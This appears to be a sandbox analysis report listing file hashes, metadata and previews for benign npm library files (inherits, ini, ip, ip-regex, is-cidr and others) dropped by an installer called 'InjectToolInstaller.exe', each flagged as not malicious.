Preview:	{. "name": "inflight",. "version": "1.0.6",. "description": "Add callbacks to requests in flight to avoid async duplication",. "main": "inflight.js",. "files": [. "inflight.js". ],. "dependencies": {. "once": "^1.3.0",. "wrappy": "1". },. "devDependencies": {. "tap": "^7.1.2". },. "scripts": {. "test": "tap test.js --100". },. "repository": {. "type": "git",. "url": "https://github.com/npm/inflight.git". },. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "bugs": {. "url": "https://github.com/isaacs/inflight/issues". },. "homepage": "https://github.com/isaacs/inflight",. "license": "ISC".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inherits\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	749
Entropy (8bit):	4.988275613873547
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8ZXs1HUtA3+djz2AvPNj2M3khFLCgK2P/d:9SZFCICCtEmq6s9imgyc2jZ63ew/ea
MD5:	5B2EF2247AF6D355AE9D9F988092D470
SHA1:	3B0E8D58A362B1787EF3504FBA4F593B22F3CEE4
SHA-256:	5FFE28E7ADE7D8F10D85D5337A73FD793DAC5C462FB9A28FBF8C5046C7FBCA3B
SHA-512:	6159FE6970CDB729DCC363BFE834924A6CDED6D4AA585F965E6D58B65C54D5E198A69B3C7D4E733964A3C1542A45808016D816CD89AC3919671C601BD2ED9785
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND.FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inherits\inherits.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.647106694152876
Encrypted:	false
SSDEEP:	6:jvQfk0dRFcMz+NPZqXAXEd/BBNCl0dRFcIKBBB5g:jwBRFcFxZXERBBIqRFc3BBB5g
MD5:	9CED637189714B8D21D34AEB50B42AE8
SHA1:	222DA288A07D8F65B2AED9B88815948CFE0B42D9
SHA-256:	BB380F32BEF5FEB18678F0F45F88073FED5D7A0069A309132CB2080CD553D5C7
SHA-512:	59925A20877C9193308E6766B96C11B6D910B45583C73498B8761B091231BCE2F4F7D95EB7D2B2E83D6B8A595689B80878C27E7C1E87347BA03F6CCB0C945CD1
Malicious:	false
Preview:	try {. var util = require('util');. /* istanbul ignore next /. if (typeof util.inherits !== 'function') throw '';. module.exports = util.inherits;.} catch (e) {. / istanbul ignore next */. module.exports = require('./inherits_browser.js');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inherits\inherits_browser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.269212982212497
Encrypted:	false
SSDEEP:	12:FwaHkcBI0mcMpdgfIFDIxpuFqR/urhzBI0mchBr4wPog:mykcBIe0dUcyKqR/8hzBIeLr4c
MD5:	184872B18B759A37285BEE13CD1CD0E4
SHA1:	70FCF71F449139ECBF7A5D6C78ECE069BBDF4DC3
SHA-256:	AD322A7B1DEC60F3D2EBDA2091816469EFB55B567D241CF3CF0FA4C5A4AFE500
SHA-512:	0B6F853387D1AD11BC77997F278F2503CE921A5F7049978BF60B63A1E9A772238EBEF67808C2132F35D6A198CB6432EB43B15769FF420B8DB64959CD0A9E50CF
Malicious:	false
Preview:	if (typeof Object.create === 'function') {. // implementation from standard node.js 'util' module. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. ctor.prototype = Object.create(superCtor.prototype, {. constructor: {. value: ctor,. enumerable: false,. writable: true,. configurable: true. }. }). }. };.} else {. // old school shim for old browsers. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. var TempCtor = function () {}. TempCtor.prototype = superCtor.prototype. ctor.prototype = new TempCtor(). ctor.prototype.constructor = ctor. }. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\inherits\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	4.517825583313142
Encrypted:	false
SSDEEP:	12:d+S0Gi1e0chjDFvFC5aUXqF02s4Vl0UJk/paa:dd0v1QJDFvM5aw3/US
MD5:	F73908DAB55D4259F3ED052CE9FB2FBB
SHA1:	62B11DD736A0047FBD8D2DC0406D2118A549A359
SHA-256:	BE645800BC94FD8DE29C8AE91690549B316CC437100108AEEA7B2F347693CC80
SHA-512:	470B2FFBCBCAFB423D46C724D046B6471A7847F6C8A97158F4C22D26F429655BB40F3962026F7935741DDA6ED5E6449FB942537F610DF13D20892C5B6BB14A9D
Malicious:	false
Preview:	{. "name": "inherits",. "description": "Browser-friendly inheritance fully compatible with standard node.js inherits()",. "version": "2.0.4",. "keywords": [. "inheritance",. "class",. "klass",. "oop",. "object-oriented",. "inherits",. "browser",. "browserify". ],. "main": "./inherits.js",. "browser": "./inherits_browser.js",. "repository": "git://github.com/isaacs/inherits",. "license": "ISC",. "scripts": {. "test": "tap". },. "devDependencies": {. "tap": "^14.2.4". },. "files": [. "inherits.js",. "inherits_browser.js". ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ini\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ini\lib\ini.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7102
Entropy (8bit):	4.726353380304497
Encrypted:	false
SSDEEP:	192:rrcD1Hbby5ADzVFwylVwuFg2UeUB5bxt/bUGWKp40zorBn/P0UQKiVED4j:g3Dfg2VUnTb4KNUQo4j
MD5:	CAB2565F53C40F1C0FD6AA2184D855E6
SHA1:	D509CC680D4120E40B2FE94FEF6B5FBD71B3E1C3
SHA-256:	C4A82B6B1C7D3AB59456E0F1D1EAF1EC09D630239BB8B3D0BC26164E32171D89
SHA-512:	D7B37CA811506694F3099D71D1CBE952930F96B82B65005ED3FFA49562F11281D43A72F73943B9D93E8AE4DFE0E4FAF9CFE74C9A2359705355C3704B7A33D1A8
Malicious:	false
Preview:	const { hasOwnProperty } = Object.prototype..const encode = (obj, opt = {}) => {. if (typeof opt === 'string') {. opt = { section: opt }. }. opt.align = opt.align === true. opt.newline = opt.newline === true. opt.sort = opt.sort === true. opt.whitespace = opt.whitespace === true \|\| opt.align === true. // The `typeof` check is required because accessing the `process` directly fails on browsers.. /* istanbul ignore next /. opt.platform = opt.platform \|\| (typeof process !== 'undefined' && process.platform). opt.bracketedArray = opt.bracketedArray !== false.. / istanbul ignore next */. const eol = opt.platform === 'win32' ? '\r\n' : '\n'. const separator = opt.whitespace ? ' = ' : '='. const children = [].. const keys = opt.sort ? Object.keys(obj).sort() : Object.keys(obj).. let padToChars = 0. // If aligning on the separator, then padToChars is determined as follows:. // 1. Get the keys. // 2. Exclude keys pointing to objects unless the value is null or an array.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ini\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	4.650642780519553
Encrypted:	false
SSDEEP:	24:fc15kLieqPXKFwLd8LIFh+FngeJo631TZIYr:fc50ieqPXFR8sPogefFTqe
MD5:	B3BF3DA8142287CB9A5F9D23417B124E
SHA1:	B905697034457FF4F8103095D9532EF55BF4E4D9
SHA-256:	3E55EA7DCE37DBA86A201249851CB24FFDD2E821C7F585501E462CF19C99198D
SHA-512:	87358DC3DDFEF6D68370705CFD65DB65427B34A00622DF459B43E79DA606FA3A17FFEACAE4312D4B0689BBFDC6DD0981196A8D38560A74ADB828C98D2314D1C2
Malicious:	false
Preview:	{. "author": "GitHub Inc.",. "name": "ini",. "description": "An ini encoder/decoder for node",. "version": "4.1.1",. "repository": {. "type": "git",. "url": "https://github.com/npm/ini.git". },. "main": "lib/ini.js",. "scripts": {. "eslint": "eslint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "test": "tap",. "snap": "tap",. "posttest": "npm run lint",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.15.1",. "tap": "^16.0.1". },. "license": "ISC",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.15.1",. "publish": "true". },. "tap": {. "nyc-arg": [. "--exclude",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\init-package-json\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	717
Entropy (8bit):	4.987985636498366
Encrypted:	false
SSDEEP:	12:EXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:ECIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	1750B360DAEE1AA920366E344C1B0C57
SHA1:	FE739DC1A14A033680B3A404DF26E98CCA0B3CCF
SHA-256:	7F75BB21103E77B7ACFCF88A6AD0286741A18B5D13C4326160346E8CF7E356AD
SHA-512:	FF2486D589D32FB35AAD9C02CD917BA1E738CA16B7CCC7954CDC4712A968FC5FC25612B489F962CBE8DDB2BE40057CD1B59402AA9CADE9B6479A1D0E1D7743A4
Malicious:	false
Preview:	ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\init-package-json\lib\default-input.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6552
Entropy (8bit):	4.7818555477007125
Encrypted:	false
SSDEEP:	192:4Snrp+5kOM0Obiqsq2sQTQGo+KaQa6z9vpbvKaQbNoWk0QL8:4o9Lr/AkffaMI
MD5:	6CFD455FA2021AC2E4A7A6EA9DB154CD
SHA1:	BC029AF8B541AF5083BD6AFDD7EBDBA6A23BF6FF
SHA-256:	753F7BDF5A2ED07A8AFFBBBBEC17837A9D21058E1B80DAAB5B84CF1BBC1C4606
SHA-512:	08828689560CAF507C4DEFE60C1487479CD768B9EADA72889FBD822BDB3C918AF8F715732768769F4BD229BE7CA240A877A88BB3B251DA7255F30ADDBA27CB76
Malicious:	false
Preview:	/* globals config, dirname, package, basename, yes, prompt */..const fs = require('fs/promises').const path = require('path').const validateLicense = require('validate-npm-package-license').const validateName = require('validate-npm-package-name').const npa = require('npm-package-arg').const semver = require('semver')..// more popular packages should go here, maybe?.const isTestPkg = (p) => !!p.match(/^(expresso\|mocha\|tap\|coffee-script\|coco\|streamline)$/)..const invalid = (msg) => Object.assign(new Error(msg), { notValid: true })..const readDeps = (test, excluded) => async () => {. const dirs = await fs.readdir('node_modules').catch(() => null).. if (!dirs) {. return. }.. const deps = {}. for (const dir of dirs) {. if (dir.match(/^\./) \|\| test !== isTestPkg(dir) \|\| excluded[dir]) {. continue. }.. const dp = path.join(dirname, 'node_modules', dir, 'package.json'). const p = await fs.readFile(dp, 'utf8').then((d) => JSON.parse(d)).catch(() => null).. if (!p \|\|

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\init-package-json\lib\init-package-json.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3987
Entropy (8bit):	4.853650982685634
Encrypted:	false
SSDEEP:	96:4bhj5tdoIy5ID/BqxQ0ksTecLRri2dFb0QUBbnN7:ghf6RqDzETecLRri2kQSbnN7
MD5:	DD08D02C9519B389F23906BE6D43E34A
SHA1:	2B869C52DD4DA17CADD35E8965CC86DACEC73ECF
SHA-256:	DC8FA9DF8DA9114CE1DA747169D702EFCF6F30FF10D7B897F85FF43AAFF79F6D
SHA-512:	E85ED188BC96C0030DEFD5649AB640406725EBFFAA7D6FED83AAE651043904C89F120BEF8F1F160BA0F2F4175E2E14F877BD15BADF01AB687A3D971523426596
Malicious:	false
Preview:	.const promzard = require('promzard').const path = require('path').const fs = require('fs/promises').const semver = require('semver').const read = require('read').const util = require('util').const rpj = require('read-package-json')..const def = require.resolve('./default-input.js')..// to validate the data object at the end as a worthwhile package.// and assign default values for things..const _extraSet = rpj.extraSet.const _rpj = util.promisify(rpj).const _rpjExtras = util.promisify(rpj.extras).const readPkgJson = async (file, pkg) => {. // only do a few of these. no need for mans or contributors if they're in the files. rpj.extraSet = _extraSet.filter(f => f.name !== 'authors' && f.name !== 'mans'). const p = pkg ? _rpjExtras(file, pkg) : _rpj(file). return p.catch(() => ({})).finally(() => rpj.extraSet = _extraSet).}..const isYes = (c) => !!(c.get('yes') \|\| c.get('y') \|\| c.get('force') \|\| c.get('f'))..const getConfig = (c = {}) => {. // accept either a plain-jane object, or a

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\init-package-json\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	4.674818834875887
Encrypted:	false
SSDEEP:	48:hU2ehPXWQ7PES+D7W+sP6dab0vTfFTn//:5e5WUES+DC+S8M0b5/
MD5:	B740516EF2BCE003C60D15A44879BDA1
SHA1:	7630455FCEAA3B8142CC8E4AAADCF225EF65E161
SHA-256:	5E9B93AC1853A094A04400EB19E13FCE127E51084EBFDD86258F967E6818B44F
SHA-512:	2B4916EFD364807A20D34814A26EFDEEBE176945E3B5732DD9D36CA370C2830741D184348BDF10FF754D2085E9FB5B745162A996F6C6D0D10E1F6D4C5CE99A17
Malicious:	false
Preview:	{. "name": "init-package-json",. "version": "6.0.0",. "main": "lib/init-package-json.js",. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/init-package-json.git". },. "author": "GitHub Inc.",. "license": "ISC",. "description": "A node module to get your node module started",. "dependencies": {. "npm-package-arg": "^11.0.0",. "promzard": "^1.0.0",. "read": "^2.0.0",. "read-package-json": "^7.0.0",. "semver": "^7.3.5",. "validate-npm-package-license": "^3.0.4",. "validate-npm-package-name": "^5.0.0". },. "devDependencies": {. "@npmcli/config": "^7.0.0",. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "tap": "^16.0.1". },. "engines": {. "node"

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ip-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	5.041686121311911
Encrypted:	false
SSDEEP:	24:VQGzGqhi9ijDiqR8oA0E5RcsynQXASCjNann5Xd2A8c/q/yqYUUynUYxBZ:iGzGki9ijfXOVw/jNaVd2JnP
MD5:	681C97E9F250BA41408CF2E1053B3EF9
SHA1:	CECA6DF259863546BAE6D826C65040C0FF2285D0
SHA-256:	949FCF61D7981758349F79E717C29C9864DB92004A1FA1A3FD7DC9198F148504
SHA-512:	856AA861D9BFDB2C4DECA4521CD06F59C35077B430737C8C30963E4BA6790ADC25EA0A242AF91EFCAE688A24733B3A974ACD1108258B165CAE3FDDBD4A5157BD
Malicious:	false
Preview:	'use strict';..const word = '[a-fA-F\\d:]';.const b = options => options && options.includeBoundaries ?..`(?:(?<=\\s\|^)(?=${word})\|(?<=${word})(?=\\s\|$))` :..'';..const v4 = '(?:25[0-5]\|2[0-4]\\d\|1\\d\\d\|[1-9]\\d\|\\d)(?:\\.(?:25[0-5]\|2[0-4]\\d\|1\\d\\d\|[1-9]\\d\|\\d)){3}';..const v6seg = '[a-fA-F\\d]{1,4}';.const v6 = `.(?:.(?:${v6seg}:){7}(?:${v6seg}\|:)\| // 1:2:3:4:5:6:7:: 1:2:3:4:5:6:7:8.(?:${v6seg}:){6}(?:${v4}\|:${v6seg}\|:)\| // 1:2:3:4:5:6:: 1:2:3:4:5:6::8 1:2:3:4:5:6::8 1:2:3:4:5:6::1.2.3.4.(?:${v6seg}:){5}(?::${v4}\|(?::${v6seg}){1,2}\|:)\| // 1:2:3:4:5:: 1:2:3:4:5::7:8 1:2:3:4:5::8 1:2:3:4:5::7:1.2.3.4.(?:${v6seg}:){4}(?:(?::${v6seg}){0,1}:${v4}\|(?::${v6seg}){1,3}\|:)\| // 1:2:3:4:: 1:2:3:4::6:7:8 1:2:3:4::8 1:2:3:4::6:7:1.2.3.4.(?:${v6seg}:){3}(?:(?::${v6seg}){0,2}:${v4}\|(?::${v6seg}){1,4}\|:)\| // 1:2:3:: 1:2:3::5:6:7:8 1:2:3::8 1:2:3::5:6:7:1.2.3.4.(?:${v6se

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ip-regex\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.0681506929270785
Encrypted:	false
SSDEEP:	24:ar4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:a8JplPvEDvQHcs5ITc3omFD
MD5:	915042B5DF33C31A6DB2B37EADAA00E3
SHA1:	5AAF48196DDD4D007A3067AA7F30303CA8E4B29C
SHA-256:	48DA2F39E100D4085767E94966B43F4FA95FF6A0698FBA57ED460914E35F94A0
SHA-512:	9C8B2DEF76AE5FFE4D636166BF9635D7ABD69CDAC4BF819A2145F7969646D39AE95C96364BC117F9FA544B98518C294233455D4F665AF430C75D70798DD4AB13
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ip-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	685
Entropy (8bit):	4.763763708946622
Encrypted:	false
SSDEEP:	12:gi7M1Ce3poafyIebtKG2zyQnN1FGNeiteXAtAKm6okjLXtchpZiL:C1CeuwQAtX6xjZ4pg
MD5:	9F935D92510DD5FF83843F759B9F09D6
SHA1:	9A5C770C2159DE4C17B7A7CC478BE4A9E63F7B9E
SHA-256:	F3B8812D81F361B82C6D1299D394ECD5E835BE711EE460921AC79F9409788354
SHA-512:	F0771B60AFA8A3769E80752A6747A83F199D6A022AD002720D0F3AE107CAB13C4E54603486A9318078FCAD91D406A21C34F22424F0D7A517B3CED037CDE63A5A
Malicious:	false
Preview:	{.."name": "ip-regex",.."version": "4.3.0",.."description": "Regular expression for matching IP addresses (IPv4 & IPv6)",.."license": "MIT",.."repository": "sindresorhus/ip-regex",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=8"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."ip",..."ipv6",..."ipv4",..."regex",..."regexp",..."re",..."match",..."test",..."find",..."text",..."pattern",..."internet",..."protocol",..."address",..."validate"..],.."devDependencies": {..."ava": "^1.4.1",..."tsd": "^0.7.2",..."xo": "^0.24.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ip\lib\ip.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10251
Entropy (8bit):	5.022027570834499
Encrypted:	false
SSDEEP:	192:folrKkdDlBcIpQ8QUn7IVUiAEZPRxBIbsh0CjIk9KtQKn7xQIhd7lhLgPpHgPtBc:f05cIbUPomDK379hd7lhLgPpHgPzzZUN
MD5:	913252E1909C1DF4FC8E90150C1C95EE
SHA1:	1D8A22AAEC7B196E6A0A3F2D5E4E81F981B191D7
SHA-256:	A7A6D13FB2D9FF0A2DE7A3BD4DF56023F43DEACDE318E75C11E293D568C67F0C
SHA-512:	2BC6FFA2F42051617A004E93299ACEDC21A4621654720EE5F26585E43A3943D276778CF8301B22934AAA27249C87E2E8FB8F20329EB076E56C6D3933665A14BD
Malicious:	false
Preview:	const ip = exports;.const { Buffer } = require('buffer');.const os = require('os');..ip.toBuffer = function (ip, buff, offset) {. offset = ~~offset;.. let result;.. if (this.isV4Format(ip)) {. result = buff \|\| Buffer.alloc(offset + 4);. ip.split(/\./g).map((byte) => {. result[offset++] = parseInt(byte, 10) & 0xff;. });. } else if (this.isV6Format(ip)) {. const sections = ip.split(':', 8);.. let i;. for (i = 0; i < sections.length; i++) {. const isv4 = this.isV4Format(sections[i]);. let v4Buffer;.. if (isv4) {. v4Buffer = this.toBuffer(sections[i]);. sections[i] = v4Buffer.slice(0, 2).toString('hex');. }.. if (v4Buffer && ++i < 8) {. sections.splice(i, 0, v4Buffer.slice(2, 4).toString('hex'));. }. }.. if (sections[0] === '') {. while (sections.length < 8) sections.unshift('0');. } else if (sections[sections.length - 1] === '') {. while (sections.length < 8) sections.push('0');. } else if

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\ip\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	560
Entropy (8bit):	4.702589127712746
Encrypted:	false
SSDEEP:	12:yn1jKG0gpdB2bmhEpdNokdOYP7QWlWvWVpPVYN99pYjd:q1jVBth2CYMWMvcKex
MD5:	3820E81BF1452B5F0B87F407EA4957DC
SHA1:	E30787A4D020BCA9E734678D71EA30463781FC19
SHA-256:	EF7191A9FBE6593C86A922192B0F92253601C27A8755AF7CD1F8E632A011DDB0
SHA-512:	2DEA7D889ABB9BB526A6E69B843807D69C424BAFAEBD0C8A9233FC8500B720416702A4D53C6C49EDC751F36C9248E6F847785D0136A0C40F587A13C4C0AD8666
Malicious:	false
Preview:	{. "name": "ip",. "version": "2.0.0",. "author": "Fedor Indutny <fedor@indutny.com>",. "homepage": "https://github.com/indutny/node-ip",. "repository": {. "type": "git",. "url": "http://github.com/indutny/node-ip.git". },. "files": [. "lib",. "README.md". ],. "main": "lib/ip",. "devDependencies": {. "eslint": "^8.15.0",. "mocha": "^10.0.0". },. "scripts": {. "lint": "eslint lib/.js test/.js",. "test": "npm run lint && mocha --reporter spec test/*-test.js",. "fix": "npm run lint -- --fix". },. "license": "MIT".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-cidr\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1290
Entropy (8bit):	5.099876496556989
Encrypted:	false
SSDEEP:	24:OUnooLbOOrXIFThJPFTzTf796432s4EOkUTKQROJ32s3yxsITfq3t1olTHv:rOOrXIJPJzF6432svv32s3EsIm3tYHv
MD5:	7676693AA448E7AD480D8ECA57E953D6
SHA1:	081863FDEA26BF5DB6C6348C743F2F12CA27AB72
SHA-256:	23E60503DC06ABF04B9E535E17797B4E0F9224E6C5ABF9207317D5A67C88C743
SHA-512:	347E964C183E7EAAD433F515A3116A46A4404D3E1FFAEB066F6ABB29A9B4595EA71F06B6011F1CCF7F7567994B3E469E481A43C1D7D8B0FEAA95325E60766019
Malicious:	false
Preview:	Copyright (c) silverwind.All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer..2. Redistributions in binary form must reproduce the above copyright notice,. this list of conditions and the following disclaimer in the documentation. and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-cidr\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.565066778120474
Encrypted:	false
SSDEEP:	6:qtv6iy3arjxQuzhTbxQuUB0L8WNQHKQMh0BihV8WNQ20BgrxvQH:cSFijxfFTbxfUB0wLr20BUuL20BgFoH
MD5:	B6CA5AB13069C5B2BF65B4D8146D28C9
SHA1:	D61CAB7CEDDAA43AE3C2B89F042060F5EEF05133
SHA-256:	FA846AF4404056F010E3AB5DF1536D9DCDEB1D922394F5D1C7D4F80C52601720
SHA-512:	34EA82C0A61FC5C0482EDB6AD643CC46D141F8FFD6419F5129D9AF3D9AA5B0376E224F91C27F08B9047BA6BBA36DF63706DC58FB5C26058AB64553647036150C
Malicious:	false
Preview:	"use strict";.const {v4, v6} = require("cidr-regex");..const re4 = v4({exact: true});.const re6 = v6({exact: true});..module.exports = str => re4.test(str) ? 4 : (re6.test(str) ? 6 : 0);.module.exports.v4 = str => re4.test(str);.module.exports.v6 = str => re6.test(str);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-cidr\package.json

